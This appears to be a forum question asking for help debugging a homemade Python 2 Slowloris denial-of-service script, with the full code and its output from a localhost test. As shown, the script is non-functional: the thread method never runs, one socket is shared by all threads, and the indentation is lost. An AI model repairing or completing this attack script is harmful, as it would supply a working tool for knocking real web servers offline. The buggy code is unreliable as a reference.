I am trying to make my own pyloris script, but I am not getting any connections; here is what I have:
#!/usr/bin/python
import sys,socket
import threading
from time import sleep
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = sys.argv[1]
PORT = 80
t = int(sys.argv[3])
threads = []
class Slowloris(threading.Thread):
def Slowloris(self):
s.connect((HOST, int(PORT)))
s.send('GET / HTTP/1.0\nHost: ' + HOST + '\n')
sleep(1)
s.close()
for num in range(0, t):
try:
print "Started thread",num
thread = Slowloris()
thread.start()
threads.append(thread)
except:
exit(0)
for thread in threads:
thread.join()
and i get absolutely no connections from my sockets, thanks in advance -_- i do get output, here it is:
D4zk1tty@kali:~$ ./slowloris.py 127.0.0.1 80 10
Started thread 0
Started thread 1
Started thread 2
Started thread 3
Started thread 4
Started thread 5
Started thread 6
Started thread 7
Started thread 8
Started thread 9